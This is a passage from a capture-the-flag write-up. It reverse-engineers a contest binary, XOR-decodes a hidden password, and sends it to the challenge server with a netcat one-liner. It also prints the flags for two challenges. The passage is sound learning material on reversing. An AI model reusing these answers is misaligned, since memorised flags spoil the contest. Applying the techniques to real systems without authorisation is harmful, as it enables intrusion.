```

if(win_count > 99){
 write(fd[1][1], "KEYREQ", 6);
 printf("Here's the key: ");
 read(fd[0][0], buf, 20);
 printf(buf);
 printf("\n");
 printf("\n");

}

--

This part is sending "KEYREQ" somewhere to get the key. But where is fd[1][1] connecting to?

After doing some more reversing, I found the string "KEYREQ" in code received at Step 1.

if(!strncmp(buf, "KEYREQ", 6)){

//connect to 10.0.66.77:11112

//xor

"\x28\x30\x2b\x21\x20\x22\x40\x23\xd0\x3a\x20\x18\x25\x31\x3c\x20\x2b\x51\x9c\xed\xd2\x7f" with repeated-xor key "KEYREQ"

//(the result will be "cursesOfTheIntern\x00\xD7\xA8\x8B-")

//send it and get the flag

}

I did the same thing using netcat...

\$ python -c 'print "cursesOfTheIntern\x00\xD7\xA8\x8B-",' | nc 10.0.66.77 11112 theBankIsAlwaysRightButAreTheTellers

... and got the flag for "blackSmoke - highLow"

theBankIsAlwaysRightButAreTheTellers

14. Banishing of the Holy Angel 1 (exploitation, binary, reversing, pwnable 200)

This challenge uses the same binary with "blackSmoke - highLow". Let's continue reversing to get another flag.

In the code we received in Step 1, I found this code:

strcat(char_array, "deKebra");

strcat(char_array, "YUhackM");

strcat(char_array, "ahwarde");

strcat(char_array, "nlikeSHYYT");

It builds a strange string("deKebraYUhackMahwardenlikeSHYYT"), but this string isn't used anywhere, so I submitted it to the scoreboard, and got 200 points :) This string was the flag for "Banishing of the Holy Angel 1".

```
deKebraYUhackMahwardenlikeSHYYT
```